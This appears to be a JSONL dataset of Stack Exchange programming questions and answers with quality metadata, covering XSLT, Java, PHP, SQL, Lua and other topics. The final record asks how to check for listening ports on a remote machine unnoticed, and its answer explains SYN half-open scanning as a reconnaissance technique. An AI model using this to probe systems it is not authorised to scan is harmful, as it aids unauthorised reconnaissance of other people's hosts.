{"id": "hf_255578f2e10d", "question": "<p>Imagine I have the folling XML file:</p>\n\n<p>&lt;a&gt;before&lt;b&gt;middle&lt;/b&gt;after&lt;/a&gt;</p>\n\n<p>I want to convert it into something like this:</p>\n\n<p>&lt;a&gt;beforemiddleafter&lt;/a&gt;</p>\n\n<p>In other words I want to get all the child nodes of a certain node, and move them to the parent node in order. This is like doing this command: \"mv ./directory/* .\", but for xml nodes.</p>\n\n<p>I'd like to do this in using unix command line tools. I've been trying with xmlstarlet, which is a powerful command line XML manipulator. I tried doing something like this, but it doesn't work</p>\n\n<p>echo \"&lt;a&gt;before&lt;b&gt;middle&lt;/b&gt;after&lt;/a&gt;\" | xmlstarlet ed -m \"//b/*\" \"..\"</p>\n\n<p>Update: XSLT templates are fine, since they can be called from the command line.</p>\n\n<p>My goal here is 'remove the links from an XHTML page', in other words replace where the link was, with the contents of the link tag.</p>\n", "question_body": "", "answer": "In XSLT, you could just write:\n```\n```\n<xsl:template match=\"a\"><a><xsl:apply-templates /></a></xsl:template>\n\n<xsl:template match=\"a/b\"><xsl:value-of select=\".\"/></xsl:template>\n```\n```\nAnd you'd get:\n```\n```\n<a>beforemiddleafter</a>\n```\n```\nSo if you wanted to do this the easy way you could just create an XSL stylesheet and run your XML file through that.\nI realise this isn't what you said you'd like to do (using Unix command line), however. I don't know anything about Unix, so maybe someone else can fill in the blanks, eg. some sort of command line calls that can execute the above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.960609"}
{"id": "hf_53569e16b11b", "question": "<p>I know Googling I can find an appropriate answer, but I prefer listening to your personal (and maybe technical) opinions.<br/>\n<strong>What is the main reason of the difference between Java and C# in throwing exceptions?</strong><br/>\nIn Java the signature of a method that throws an exception has to use the \"throws\" keyword, while in C# you don't know in compilation time if an exception could be thrown.</p>\n", "question_body": "", "answer": "The basic design philosophy of C# is that actually catching exceptions is rarely useful, whereas cleaning up resources in exceptional situations is quite important. I think it's fair to say that\n```\nusing\n```\n(the IDisposable pattern) is their answer to checked exceptions. See [1] for more.\nhttp://www.artima.com/intv/handcuffs.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:02.983211"}
{"id": "hf_aba23260212b", "question": "<p>Mixing the use of primitive data types and their respective wrapper classes, in Java, can lead to a lot of bugs. The following example illustrates the issue:</p>\n\n<pre><code>int i = 4;\n...\nif (i == 10)\n  doStuff();\n</code></pre>\n\n<p>Later on you figure that you want the variable <em>i</em> to be either defined or undefined, so you change the above instantiation to:</p>\n\n<pre><code>Integer i = null;\n</code></pre>\n\n<p>Now the equality check fails.</p>\n\n<p>Is it good Java practise to always use the primitive wrapper classes? It obviously would get some bugs out of the way early, but what are the downsides to this? Does it impact performance or the application's memory footprint? Are there any sneaky gotchas?</p>\n", "question_body": "", "answer": "Firstly, switching from using a primitive to using an object just to get the ability to set it to null is probably a bad design decision.  I often have arguments with my coworkers about whether or not null is a sentinel value, and my opinion is usually that it is not (and thus shouldn't be prohibited like sentinel values should be), but in this particular case you're going out of your way to use it as a sentinel value.  Please don't.  Create a boolean that indicates whether or not your integer is valid, or create a new type that wraps the boolean and integer together.\nUsually, when using newer versions of Java, I find I don't need to explicitly create or cast to the object versions of primitives because of the auto-boxing support that was added some time in 1.5 (maybe 1.5 itself).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.006037"}
{"id": "hf_fb5ab0425441", "question": "<p>I'm doing a sitemap producer in Object Pascal and need a good function or lib to emulate the <a href=\"http://php.net/manual/en/function.parse-url.php\" rel=\"nofollow noreferrer\">parse_url</a> function on PHP.</p>\n\n<p>Does anyone know of any good ones?</p>\n", "question_body": "", "answer": "The\nURI RFC\nlists this regular expression for URI parsing:\n```\n```\n^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\\?([^#]*))?(#(.*))?\n   12            3  4          5       6  7        8 9\n```\n```\nWhere the numbers are these groups:\n```\n```\n$1 = http:\n  $2 = http\n  $3 = //www.ics.uci.edu\n  $4 = www.ics.uci.edu\n  $5 = /pub/ietf/uri/\n  $6 = <undefined>\n  $7 = <undefined>\n  $8 = #Related\n  $9 = Related\n```\n```\nFor this URI:\n```\n```\nhttp://www.ics.uci.edu/pub/ietf/uri/#Related\n```\n```\nThe regular expression is pretty simple and uses no special features the regular expression lib has to provide, so grab one that is compatible with your pascal implementation and there you go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.055626"}
{"id": "hf_198f246619a1", "question": "<p>I'd be very grateful if you could compare the winning <a href=\"http://www.cs.ucsd.edu/~sorourke/wf.pl\" rel=\"nofollow noreferrer\">O’Rourke's Perl solution</a> to <a href=\"http://effbot.org/zone/wide-finder.htm\" rel=\"nofollow noreferrer\">Lundh's Python solution</a>, as I don't know Perl good enough to understand what's going on there. More specifically I'd like to know what gave Perl version 3x advantage: algorithmic superiority, quality of C extensions, other factors?</p>\n\n<p><a href=\"http://www.tbray.org/ongoing/When/200x/2007/10/30/WF-Results\" rel=\"nofollow noreferrer\">Wide Finder: Results</a></p>\n", "question_body": "", "answer": "Perl is heavily optimized for text processing.  There are so many factors that it's hard to say what's the exact difference.  Text is represented completely differently internally (utf-8 versus utf-16/utf-32) and the regular expression engines are completely different too.  Python's regular expression engine is a custom one and not as much used as the perl one.  There are very few developers working on it (I think it's largely unmaintained) in contrast to the Perl one which is basically the \"core of the language\".\nAfter all Perl is\nthe\ntext processing language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.078651"}
{"id": "hf_a5cb7d4b7600", "question": "<p>I would like to do a lookup of tables in my SQL Server 2005 Express database based on table name. In <code>MySQL</code> I would use <code>SHOW TABLES LIKE \"Datasheet%\"</code>, but in <code>T-SQL</code> this throws an error (it tries to look for a <code>SHOW</code> stored procedure and fails).</p>\n\n<p>Is this possible, and if so, how?</p>\n", "question_body": "", "answer": "Try this :\n```\n```\nselect * from information_schema.columns\nwhere table_name = 'yourTableName'\n```\n```\nalso look for other\n```\ninformation_schema\n```\nviews.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.101597"}
{"id": "hf_9361c372e1ad", "question": "<p>Been using <strong>PHP/MySQL</strong> for a little while now, and I'm wondering if there are any specific advantages (performance or otherwise) to using <code>mysql_fetch_object()</code> vs <code>mysql_fetch_assoc()</code> / <code>mysql_fetch_array()</code>.</p>\n", "question_body": "", "answer": "Fetching an array with\n```\nmysql_fetch_array()\n```\nlets you loop through the result set via either a foreach loop or a for loop.\n```\nmysql_fetch_object()\n```\ncannot be traversed by a for loop.\nNot sure if that even matters much, just thought I'd mention it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.187981"}
{"id": "hf_47e5c87037a3", "question": "<p>What is an elegant way to sort objects in PHP? I would love to accomplish something similar to this.</p>\n\n<pre><code>$sortedObjectArary = sort($unsortedObjectArray, $Object-&gt;weight);\n</code></pre>\n\n<p>Basically specify the array I want to sort as well as the field I want to sort on. I looked into multidimensional array sorting and there might be something useful there, but I don't see anything elegant or obvious.</p>\n", "question_body": "", "answer": "Almost verbatim from the manual:\n```\n```\nfunction compare_weights($a, $b) { \n    if($a->weight == $b->weight) {\n        return 0;\n    } \n    return ($a->weight < $b->weight) ? -1 : 1;\n} \n\nusort($unsortedObjectArray, 'compare_weights');\n```\n```\nIf you want objects to be able to sort themselves, see example 3 here:\nhttp://php.net/usort", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.246640"}
{"id": "hf_82beb634cb62", "question": "<p>What is the simplest SOAP example using Javascript?</p>\n\n<p>To be as useful as possible, the answer should:</p>\n\n<ul>\n<li>Be functional (in other words actually work)</li>\n<li>Send at least one parameter that can be set elsewhere in the code</li>\n<li>Process at least one result value that can be read elsewhere in the code</li>\n<li>Work with most modern browser versions</li>\n<li>Be as clear and as short as possible, without using an external library</li>\n</ul>\n", "question_body": "", "answer": "Simplest example would consist of:\nGetting user input.\nComposing XML SOAP message similar to this\n```\n```\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n               xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\n               xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <GetInfoByZIP xmlns=\"http://www.webserviceX.NET\">\n      <USZip>string</USZip>\n    </GetInfoByZIP>\n  </soap:Body>\n</soap:Envelope>\n```\n```\nPOSTing message to webservice url using XHR\nParsing webservice's XML SOAP response similar to this\n```\n```\n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n               xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n               xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n <soap:Body>\n  <GetInfoByZIPResponse xmlns=\"http://www.webserviceX.NET\">\n   <GetInfoByZIPResult>\n    <NewDataSet xmlns=\"\">\n     <Table>\n      <CITY>...</CITY>\n      <STATE>...</STATE>\n      <ZIP>...</ZIP>\n      <AREA_CODE>...</AREA_CODE>\n      <TIME_ZONE>...</TIME_ZONE>\n     </Table>\n    </NewDataSet>\n   </GetInfoByZIPResult>\n  </GetInfoByZIPResponse>\n </soap:Body>\n</soap:Envelope>\n```\n```\nPresenting results to user.\nBut it's a lot of hassle without external JavaScript libraries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.269851"}
{"id": "hf_09dd44b69906", "question": "<p>I need to do some simple timezone calculation in mod_perl.  DateTime isn't an option.  What I need to do is easily accomplished by setting $ENV{TZ} and using localtime and POSIX::mktime, but under a threaded MPM, I'd need to make sure only one thread at a time was mucking with the environment.  (I'm not concerned about other uses of localtime, etc.)</p>\n\n<p>How can I use a mutex or other locking strategy to serialize (in the non-marshalling sense) access to the environment?  The <a href=\"http://perl.apache.org/docs/2.0/api/APR/ThreadMutex.html\" rel=\"nofollow noreferrer\">docs</a> I've looked at don't explain well enough how I would create a mutex for just this use.  Maybe there's something I'm just not getting about how you create mutexes in general.</p>\n\n<p>Update: yes, I am aware of the need for using Env::C to set TZ.</p>\n", "question_body": "", "answer": "If you're using apache 1.3, then you shouldn't need to resort to mutexes.  Apache 1.3 spawns of a number of worker processes, and each worker executes a single thread.  In this case, you can write:\n```\n```\n{\n    local $ENV{TZ} = whatever_I_need_it_to_be();\n\n    # Do calculations here.\n}\n```\n```\nChanging the variable with\n```\nlocal\n```\nmeans that it reverts back to the previous value at the end of the block, but is still passed into any subroutine calls made from within that block.  It's almost certainly what you want.  Since each process has its own independent environment, you won't be changing the environment of other processes using this technique.\nFor apache 2, I don't know what model it uses with regards to forks and threads.  If it keeps the same approach of forking off processes and having a single thread each, you're fine.\nIf apache 2 uses honest to goodness real threads, then that's outside my area of detailed knowledge, but I hope another lovely stackoverflow person can provide assistance.\nAll the very best,\n```\n```\nPaul\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.300065"}
{"id": "hf_ff7219c66b06", "question": "<p>Everything I have read says that when making a managed stored procedure, to right click in Visual Studio and choose deploy. That works fine, but what if I want to deploy it outside of Visual Studio to a number of different locations? I tried creating the assembly with the dll the project built in SQL, and while it did add the assembly, it did not create the procedures out of the assembly. Has anyone figured out how to do this in SQL directly, without using Visual Studio?</p>\n", "question_body": "", "answer": "Copy your assembly DLL file to the local drive on your various servers.  Then register your assembly with the database:\n```\n```\ncreate assembly [YOUR_ASSEMBLY]\nfrom '(PATH_TO_DLL)'\n```\n```\n...then you create a function referencing the appropriate public method in the DLL:\n```\n```\ncreate proc [YOUR_FUNCTION]\nas\nexternal name [YOUR_ASSEMBLY].[NAME_SPACE].[YOUR_METHOD]\n```\n```\nBe sure to use the [ brackets, especially around the NAME_SPACE.  Namespaces can have any number of dots in them, but SQL identifiers can't, unless the parts are explicitly set apart by square brackets.  This was a source of many headaches when I was first using SQL CLR.\nTo be clear, [YOUR_ASSEMBLY] is the name you defined in SQL; [NAME_SPACE] is the .NET namespace inside the DLL where your method can be found; and [YOUR_METHOD] is simply the name of the method within that namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.324873"}
{"id": "hf_6f2bcb0d1d44", "question": "<p>So I'm using hibernate and working with an application that manages time.\nWhat is the best way to deal with times in a 24 hour clock?</p>\n\n<p>I do not need to worry about TimeZone issues at the beginning of this application but it would be best to ensure that this functionality is built in at the beginning.</p>\n\n<p>I'm using hibernate as well, just as an fyi</p>\n", "question_body": "", "answer": "Store them as long ts = System.currentTimeMillis().\nThat format is actually TimeZone-safe as it return time in UTC.\nIf you only need time part, well, I'm not aware of built-in type in Hib, but writing your own type Time24 is trivial -- just implement either org.hibernate.UserType  or org.hibernate.CompositeUserType (load=nullSafeGet and store=nullSafeSet methods in them).\nSee\nhttp://docs.jboss.org/hibernate/core/3.3/reference/en/html/mapping.html#mapping-types-custom\nBut I'd still save absolute time anyway. May help in future.\nP.S. That's all presuming storing Date is out of question for some reason. TimeZone in Date sometimes gets in the way, really. ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.358002"}
{"id": "hf_09f2f6a54a63", "question": "<p>JavaScript allows functions to be treated as objects--if you first define a variable as a function, you can subsequently add properties to that function.  How do you do the reverse, and add a function to an \"object\"?</p>\n\n<p>This works:</p>\n\n<pre><code>var foo = function() { return 1; };\nfoo.baz = \"qqqq\";\n</code></pre>\n\n<p>At this point, <code>foo()</code> calls the function, and <code>foo.baz</code> has the value \"qqqq\".</p>\n\n<p>However, if you do the property assignment part first, how do you subsequently assign a function to the variable?</p>\n\n<pre><code>var bar = { baz: \"qqqq\" };\n</code></pre>\n\n<p>What can I do now to arrange for <code>bar.baz</code> to have the value \"qqqq\" <em>and</em> <code>bar()</code> to call the function?</p>\n", "question_body": "", "answer": "JavaScript allows functions to be\n  treated as objects--you can add a\n  property to a function. How do you do\n  the reverse, and add a function to an\n  object?\nYou appear to be a bit confused. Functions, in JavaScript,\nare\nobjects. And\nvariables\nare\nvariable\n. You wouldn't expect this to work:\n```\n```\nvar three = 3;\nthree = 4;\nassert(three === 3);\n```\n```\n...so why would you expect that assigning a function to your variable would somehow preserve its previous value? Perhaps some annotations will clarify things for you:\n```\n```\n// assigns an anonymous function to the variable \"foo\"\nvar foo = function() { return 1; }; \n// assigns a string to the property \"baz\" on the object \n// referenced by \"foo\" (which, in this case, happens to be a function)\nfoo.baz = \"qqqq\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.466313"}
{"id": "hf_590153799262", "question": "<p>Although my question might seem abstract I hope it's not. Suppose I develop an application, an ASP.NET MVC site and later I am tasked to build an Winforms client for this application how much and how can I reuse from the existing application?</p>\n\n<p>I defined the models, I defined controllers and views. They all work well.</p>\n\n<p>Now the boss comes asking for a Winforms client and I am hoping I can reuse the models and the controllers (provided I put them in different assemblies) and not reuse just the views (ASPX views).</p>\n\n<p>Can this be done? How?</p>\n", "question_body": "", "answer": "I have done this previously, not with asp.net MVC but with pure asp.net web forms.  I used a home-grown MVP (Model-View-Presenter) pattern, and the absolute most important thing to allow the Presenter (== Controller in your case) to be used in a WinForms app was to not reference\nanything\nto do with system.web\nSo the first thing you need to do is introduce interface(s) to wrap any request, response, web etc stuff, and have every Presenter accept these interfaces via Dependency Injection (or make them available to the Presenters by some other technique), then if the Presenter uses those rather than the actual system.web stuff.\nExample:\nImagine you want to transfer control from Page A to Page B (which in your winforms app you might want to close form A then open form B).\nInterface:\n```\n```\npublic interface IRuntimeContext\n{\n  void TransferTo(string destination);\n}\n```\n```\nweb implementation:\n```\n```\npublic class AspNetRuntimeContext\n{\n  public void TransferTo(string destination)\n  {\n    Response.Redirect(destination);\n  }\n}\n```\n```\nwinforms implementation:\n```\n```\npublic class WinformsRuntimeContext\n{\n  public void TransferTo(string destination)\n  {\n    var r = GetFormByName(destination);\n    r.Show();\n  }\n}\n```\n```\nNow the Presenter (Controller in your case):\n```\n```\npublic class SomePresenter\n{\n  private readonly runtimeContext;\n  public SomePresenter(IRuntimeContext runtimeContext)\n  {\n    this.runtimeContext = runtimeContext;\n  }\n\n  public void SomeAction()\n  {\n    // do some work\n\n    // then transfer control to another page/form\n    runtimeContext.TransferTo(\"somewhereElse\");\n  }\n}\n```\n```\nI haven't looked at the asp.net MVC implementation in detail but I hope this gives you some indication that it will probably be a lot of work to enable the scenario you are after.\nYou may instead want to consider accepting that you will have to re-code the View and Controller for the different platforms, and instead concentrate on keeping your controllers extremely thin and putting the bulk of your code in a service layer that can be shared.\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.528145"}
{"id": "hf_a4101365d629", "question": "<p>Is it the case that the entire restful verb is under a single all encompassing transaction? That is to say, if I raise a Error in the validation or callbacks at any point in the handling of a UPDATE, DELETE, or CREATE operation, is every database operation that I may have performed in previous callbacks also rolled back? Succinctly, does raising a Error on any callback or validation make it such that no change at all occurs in the database for that verb action?</p>\n", "question_body": "", "answer": "Some methods (create, destroy) go to the database immediately. Transactions occur by using the transaction method on classes derived from ActiveRecord as follows:\n```\n```\nStudent.transaction do\n  Course.transaction do\n    course.enroll(student)\n    student.units += course.units\n  end\nend\n```\n```\n(This example is for multiple databases. For a single database, you only need one transaction.)\nYou can then rollback on these transactions, and exceptions thrown within the transaction are propagated after the rollback.\nThis depends upon the database having transactions.\nNB: save and destroy are wrapped in transactions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.653072"}
{"id": "hf_0d204403939f", "question": "<p>But here's an example:</p>\n\n<pre><code>Dim desiredType as Type\nif IsNumeric(desiredType) then ...\n</code></pre>\n\n<p><strong>EDIT:</strong> I only know the Type, not the Value as a string.</p>\n\n<p>Ok, so unfortunately I have to cycle through the TypeCode.</p>\n\n<p>But this is a nice way to do it:</p>\n\n<pre><code> if ((desiredType.IsArray))\n      return 0;\n\n switch (Type.GetTypeCode(desiredType))\n {\n      case 3:\n      case 6:\n      case 7:\n      case 9:\n      case 11:\n      case 13:\n      case 14:\n      case 15:\n          return 1;\n }\n ;return 0;\n</code></pre>\n", "question_body": "", "answer": "You can find out if a variable is numeric using the\n```\nType.GetTypeCode()\n```\nmethod:\n```\n```\nTypeCode typeCode = Type.GetTypeCode(desiredType);\n\nif (typeCode == TypeCode.Double || typeCode == TypeCode.Integer || ...)\n     return true;\n```\n```\nYou'll need to complete all the available numeric types in the \"...\" part ;)\nMore details here:\nTypeCode Enumeration", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.692388"}
{"id": "hf_36c60a9c41e0", "question": "<p>I want to write a query like this:</p>\n\n<pre><code>SELECT o.OrderId, MAX(o.NegotiatedPrice, o.SuggestedPrice)\nFROM Order o\n</code></pre>\n\n<p>But this isn't how the <code>MAX</code> function works, right?  It is an aggregate function so it expects a single parameter and then returns the MAX of all rows.   </p>\n\n<p>Does anyone know how to do it my way?</p>\n", "question_body": "", "answer": "I don't think so. I wanted this the other day. The closest I got was:\n```\n```\nSELECT\n  o.OrderId,\n  CASE WHEN o.NegotiatedPrice > o.SuggestedPrice THEN o.NegotiatedPrice \n     ELSE o.SuggestedPrice\n  END\nFROM Order o\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.715921"}
{"id": "hf_64e854248a11", "question": "<p>I've got a Lua program that seems to be slower than it ought to be.  I suspect the issue is that I'm adding values to an associative array one at a time and the table has to allocate new memory each time.  </p>\n\n<p>There did seem to be a table.setn function, but it fails under Lua 5.1.3:</p>\n\n<pre><code>stdin:1: 'setn' is obsolete\nstack traceback:\n        [C]: in function 'setn'\n        stdin:1: in main chunk\n        [C]: ?\n</code></pre>\n\n<p>I gather from the Google searching I've done that this function was depreciated in Lua 5.1, but I can't find what (if anything) replaced the functionality.</p>\n\n<p>Do you know how to pre-size a table in Lua?</p>\n\n<p>Alternatively, is there some other way to avoid memory allocation when you add an object to a table?</p>\n", "question_body": "", "answer": "I don't think you can - it's not an array, it's an associative array, like a perl hash or an awk array.\nhttp://www.lua.org/manual/5.1/manual.html#2.5.5\nI don't think you can preset its size meaningfully from the Lua side.\nIf you're allocating the array on the C side, though, the\n```\n```\nvoid lua_createtable (lua_State *L, int narr, int nrec);\n```\n```\nmay be what you need.\nCreates a new empty table and pushes\n  it onto the stack. The new table has\n  space pre-allocated for narr array\n  elements and nrec non-array elements.\n  This pre-allocation is useful when you\n  know exactly how many elements the\n  table will have. Otherwise you can use\n  the function lua_newtable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.752108"}
{"id": "hf_dc664f5a8870", "question": "<p>I need a short code snippet to get a directory listing from an HTTP server.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Basic understanding:\nDirectory listings are just HTML pages generated by a web server.\nEach web server generates these HTML pages in its own way because there is no standard way for a web server to list these directories.\nThe best way to get a directory listing, is to simply do an HTTP request to the URL you'd like the directory listing for and to try to parse and extract all of the links from the HTML returned to you.\nTo parse the HTML links please try to use the\nHTML Agility Pack\n.\nDirectory Browsing:\nThe web server you'd like to list directories from must have directory browsing turned on to get this HTML representation of the files in its directories.  So you can only get the directory listing if the HTTP server wants you to be able to.\nA quick example of the HTML Agility Pack:\n```\n```\nHtmlDocument doc = new HtmlDocument();\ndoc.Load(strURL);\nforeach(HtmlNode link in doc.DocumentElement.SelectNodes(\"//a@href\")\n{\nHtmlAttribute att = link\"href\";\n//do something with att.Value;\n}\n```\n```\nCleaner alternative:\nIf it is possible in your situation, a cleaner method is to use an intended protocol for directory listings, like the File Transfer Protocol (FTP), SFTP (FTP like over SSH) or FTPS (FTP over SSL).\nWhat if directory browsing is not turned on:\nIf the web server does not have directory browsing turned on, then there is no easy way to get the directory listing.\nThe best you could do in this case is to start at a given URL, follow all HTML links on the same page, and try to build a virtual listing of directories yourself based on the relative paths of the resources on these HTML pages.  This will not give you a complete listing of what files are actually on the web server though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.808937"}
{"id": "hf_6eb03d3c526b", "question": "<p>Coming from a Perl 5 background, what are the advantages of moving to Perl 6 or Python?</p>\n", "question_body": "", "answer": "Perl is generally better than python for quick one liners, especially involve text/regular expressions\nhttp://novosial.org/perl/one-liner/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.891326"}
{"id": "hf_b8c7ae52f71f", "question": "<p>Lets say I have a class that stores user information complete with getters and setters, and it is populated with data from an XML file.  How would I iterate over all of the instances of that class like you would do with java beans and tag libraries?</p>\n", "question_body": "", "answer": "This assumes you can acquire all instances of your class and add them to a Generic List.\n```\n```\nList<YourClass> myObjects = SomeMagicMethodThatGetsAllInstancesOfThatClassAndAddsThemtoTheCollection();\nforeach (YourClass instance in myObjects)\n{\nResponse.Write(instance.PropertyName.ToString();\n}\n```\n```\nIf you don't want to specify each property name you could use Reflection, (see PropertyInfo) and do it that way. Again, not sure if this is what your intent was.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.926327"}
{"id": "hf_c6145052863a", "question": "<p>I'm currently turning an array of pixel values (originally created with a java.awt.image.PixelGrabber object) into an Image object using the following code:</p>\n\n<pre><code>public Image getImageFromArray(int[] pixels, int width, int height) {\n    MemoryImageSource mis = new MemoryImageSource(width, height, pixels, 0, width);\n    Toolkit tk = Toolkit.getDefaultToolkit();\n    return tk.createImage(mis);\n}\n</code></pre>\n\n<p><em>Is it possible to achieve the same result using classes from the ImageIO package(s) so I don't have to use the AWT Toolkit?</em></p>\n\n<p>Toolkit.getDefaultToolkit() does not seem to be 100% reliable and will sometimes throw an AWTError, whereas the ImageIO classes should always be available, which is why I'm interested in changing my method.</p>\n", "question_body": "", "answer": "I've had good success using java.awt.Robot to grab a screen shot (or a segment of the screen), but to work with ImageIO, you'll need to store it in a BufferedImage instead of the memory image source.  Then you can call one static method of ImageIO and save the file.  Try something like:\n```\n```\n// Capture whole screen\nRectangle region = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());\nBufferedImage capturedImage = new Robot().createScreenCapture(region);\n\n// Save as PNG\nFile imageFile = new File(\"capturedImage.png\");\nImageIO.write(capturedImage, \"png\", imageFile);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.949419"}
{"id": "hf_28f83d74222a", "question": "<p>I found an article on getting active tcp/udp connections on a machine.</p>\n\n<p><a href=\"http://www.codeproject.com/KB/IP/iphlpapi.aspx\" rel=\"nofollow noreferrer\">http://www.codeproject.com/KB/IP/iphlpapi.aspx</a></p>\n\n<p>My issue however is I need to be able to determine active connections remotely - to see if a particular port is running or listening without tampering with the machine.</p>\n\n<p>Is this possible?</p>\n\n<p>Doesn't seem like it natively, otherwise it could pose a security issue. The alternative would be to query a remoting service which could then make the necessary calls on the local machine.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "There is no way to know which ports are open without the remote computer knowing it.  But you can determine the information without the program running on the port knowing it (i.e. without interfering with the program).\nUse SYN scanning:\nTo establish a connection, TCP uses a three-way handshake.  This can be exploited to find out if a port is open or not without the program knowing.\nThe handshake works as follows:\nThe client performs an active open by sending a SYN to the server.\nThe server replies with a SYN-ACK.\nNormally, the client sends an ACK back to the server.  But this step is skipped.\nSYN scan is the most popular form of\n  TCP scanning. Rather than use the\n  operating system's network functions,\n  the port scanner generates raw IP\n  packets itself, and monitors for\n  responses. This scan type is also\n  known as \"half-open scanning\", because\n  it never actually opens a full TCP\n  connection. The port scanner generates\n  a SYN packet. If the target port is\n  open, it will respond with a SYN-ACK\n  packet. The scanner host responds with\n  a RST packet, closing the connection\n  before the handshake is completed.\nThe use of raw networking has several\n  advantages, giving the scanner full\n  control of the packets sent and the\n  timeout for responses, and allowing\n  detailed reporting of the responses.\n  There is debate over which scan is\n  less intrusive on the target host. SYN\n  